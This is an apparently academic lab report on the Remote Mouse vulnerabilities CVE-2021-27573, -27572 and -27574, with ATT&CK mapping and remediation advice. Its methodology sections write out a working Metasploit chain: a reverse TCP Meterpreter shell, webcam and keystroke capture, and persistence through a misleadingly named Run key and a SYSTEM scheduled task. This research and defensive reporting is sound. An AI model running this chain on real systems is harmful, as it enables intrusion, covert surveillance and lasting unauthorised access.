

SECURITY RESEARCH REPORT

Remote Mouse — Unauthenticated Remote Code Execution

CVE-2021-27573 | CVE-2021-27572 | CVE-2021-27574

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Classification	Academic — Lab Environment Only
Platform	VMware Workstation — NAT Network
Target	Windows 10 (192.168.119.131) — Remote Mouse v4.110
Attacker	Kali Linux (192.168.119.132) — Metasploit Framework

This report was produced in a controlled lab environment for academic purposes only. All activities were performed on systems owned by the researcher.

1. Executive Summary

This report documents a security research investigation into the Remote Mouse application by Emote Interactive, conducted in a controlled VMware lab environment. The research demonstrates a complete attack chain from initial reconnaissance through to persistent unauthorised access, including silent access to the target system's integrated webcam.

Remote Mouse has over 20 million users worldwide and ships with no password by default, making the majority of installations immediately exploitable by any attacker on the same network. CVE-2021-27573 allows full remote code execution without any authentication. CVE-2021-27572 demonstrates that even when a password is set, authentication can be bypassed entirely via packet replay due to the absence of cryptographic nonces.

Vulnerability Summary

CVE	Description	Impact	Severity
CVE-2021-27573	No authentication — arbitrary RCE	Full system compromise	CRITICAL
CVE-2021-27572	Auth bypass via UDP packet replay	Password bypass	HIGH
CVE-2021-27574	Cleartext HTTP update hijack	Supply chain attack	HIGH

2. Introduction

2.1 Background

Remote Mouse is a productivity application that turns a smartphone into a wireless mouse, keyboard and trackpad. A server component installs on the host PC and listens for commands from the mobile app over the local network on TCP/UDP port 1978. The app has been downloaded over 20 million times.

In 2021, Tenable researcher Axel Persinger disclosed multiple critical vulnerabilities under the name 'MouseTrap'. The researcher reported findings to the vendor on 6 February 2021. Emote Interactive never responded and the vulnerabilities remained present in version 4.0.0.0 released after the 90-day disclosure window elapsed.

2.2 Lab Environment

Machine	OS	IP Address	Role
Kali Linux VM	Kali Linux	192.168.119.132	Attacker
Windows 10 VM	Windows 10 Pro	192.168.119.131	Target

3. Vulnerability Analysis

3.1 CVE-2021-27573 — Unauthenticated RCE

The server component accepts and executes commands from any device connecting to port 1978 without any credential validation. The application was designed assuming only the owner's mobile device would connect — an assumption that is invalid on any shared network.

The Metasploit module exploits this by connecting directly to the Remote Mouse server, injecting keystrokes to open a command prompt, and downloading a Meterpreter payload via HTTP — establishing a reverse TCP shell to the attacker's machine.

3.2 CVE-2021-27572 — Auth Bypass via Packet Replay

Even when a password is configured, authentication can be trivially bypassed. The application transmits a password hash in cleartext UDP packets with no cryptographic nonce or session token. An attacker who captures a single legitimate authentication packet using Wireshark can replay it indefinitely — the server accepts it as valid regardless of whether the attacker knows the password.

3.3 CVE-2021-27574 — Cleartext Update Hijack

The application downloads software updates over unencrypted HTTP without signature verification. An attacker performing a man-in-the-middle attack on the same network can substitute a malicious binary in place of the legitimate update, enabling a supply chain attack without any prior compromise of the target.

4. Methodology

4.1 Reconnaissance

Nmap was used to confirm the Remote Mouse service was listening on the target:

```
nmap -sV -p 1978 192.168.119.131
```

The scan confirmed TCP port 1978 open with the Remote Mouse service actively listening, confirming the target was suitable for exploitation.

4.2 Exploitation

The Metasploit module `exploit/windows/misc/remote_mouse_rce` was used to exploit CVE-2021-27573. The handler was run as a background job (`run -j`) to allow session interaction while the handler remained active:

```
use exploit/windows/misc/remote_mouse_rce
set RHOSTS 192.168.119.131
set LHOST 192.168.119.132
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
set ForceExploit true
run -j
```

Successful exploitation produced a Meterpreter session confirmed with `sysinfo` and `getuid`.

4.3 Session Stabilisation

The payload was migrated into `explorer.exe` immediately after session establishment to prevent session death and blend into normal process activity:

```
sessions -i [session number]
meterpreter > migrate -N explorer.exe
```

4.4 Post-Exploitation

4.4.1 System Enumeration

```
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
```

4.4.2 Webcam Access

The integrated webcam was accessed silently with no visible indicator to the user:

```
meterpreter > webcam_list
```

```
meterpreter > webcam_snap  
meterpreter > webcam_stream
```

4.4.3 Keystroke Capture

```
meterpreter > keyscan_start  
meterpreter > keyscan_dump
```

4.4.4 Screen Capture

```
meterpreter > screenshot
```

5. Persistence Mechanisms

Two persistence mechanisms were established to maintain access following system reboot and regardless of whether Remote Mouse remained running.

5.1 Payload Generation and Upload

```
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.119.132  
LPORT=4444 -f exe -o /home/emmanuel/update.exe  
meterpreter > upload /home/emmanuel/update.exe C:\Windows\Temp\update.exe
```

5.2 Registry Run Key (MITRE ATT&CK T1547)

A registry run key was created to execute the payload at every system startup:

```
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v  
"WindowsSecurityUpdate" /t REG_SZ /d "C:\Windows\Temp\update.exe" /f
```

5.3 Scheduled Task (MITRE ATT&CK T1053)

A scheduled task was created to execute the payload on every logon with SYSTEM privileges:

```
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\update.exe" /sc  
onlogon /ru SYSTEM /f
```

5.4 Persistence Validation

Following a reboot of the Windows VM, a new Meterpreter session opened automatically on the attacker's listener — confirming persistent access without the Remote Mouse application running.

6. MITRE ATT&CK Framework Mapping

Tactic	ID	Technique	Evidence
Reconnaissance	T1046	Network Service Scanning	nmap -p 1978
Initial Access	T1203	Exploitation for Client Execution	CVE-2021-27573
Execution	T1059	Command and Scripting Interpreter	Shell via Meterpreter
Defence Evasion	T1055	Process Injection	migrate explorer.exe
Persistence	T1547	Boot/Logon Autostart — Registry Run Keys	HKLM\...\Run key
Persistence	T1053	Scheduled Task/Job	schtasks onlogon SYSTEM
Collection	T1113	Screen Capture	screenshot
Collection	T1056	Input Capture — Keylogging	keyscan_start/dump
Collection	T1125	Video Capture	webcam_stream

7. Key Findings

ID	Finding	Severity
F-01	Remote Mouse v4.110 accepts arbitrary commands without authentication, enabling full remote code execution from any device on the network.	CRITICAL
F-02	Password protection is ineffective — CVE-2021-27572 packet replay bypasses authentication entirely due to absent cryptographic nonces.	HIGH
F-03	Post-exploitation enables silent, undetected webcam access, keystroke capture, desktop screenshots and full filesystem access.	CRITICAL
F-04	Registry run key and scheduled task persistence maintains attacker access following reboot without reliance on the vulnerable application.	HIGH
F-05	20 million users with no password by default — the majority of installations are immediately exploitable without any prior interaction.	CRITICAL
F-06	Vendor failed to respond to responsible disclosure. Vulnerabilities remained unpatched in the version released after the 90-day disclosure deadline.	HIGH

8. Remediation Recommendations

8.1 Immediate Actions

1. Close the Remote Mouse server when not actively in use — each active instance is an open attack surface.
2. Audit the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Run and Task Scheduler for unauthorised entries.
3. Remove any unknown executable files from C:\Windows\Temp.

8.2 Configuration Changes

4. Configure a strong password in Remote Mouse settings — this partially mitigates CVE-2021-27573 but does not address CVE-2021-27572.
5. Create a Windows Firewall rule blocking TCP and UDP port 1978 when Remote Mouse is not in use.
6. Restrict network access to trusted devices only through network segmentation.

8.3 Long-term Recommendations

7. Uninstall Remote Mouse and replace with an application that implements proper authentication and encrypted communications.
8. Deploy an EDR solution such as Wazuh with Sysmon to detect process injection, registry modifications and scheduled task creation.
9. Adopt a least-privilege network policy restricting access to internal services to authorised source addresses only.

9. Conclusion

This research successfully demonstrated a complete attack chain against Remote Mouse v4.110. CVE-2021-27573 represents a fundamental failure of security design — the application trusts all network connections implicitly and provides no mechanism to distinguish legitimate users from attackers.

An attacker with access to the same network can achieve full remote code execution, silent webcam surveillance, keystroke capture and persistent access — with no visible indication to the user and without requiring any action from the victim. The attack is reliable, reproducible and achievable with basic knowledge of Metasploit.

The scale of the application's user base combined with the insecure default configuration means a substantial proportion of 20 million users may be vulnerable. The vendor's failure to engage with responsible disclosure compounds this risk significantly.

10. References

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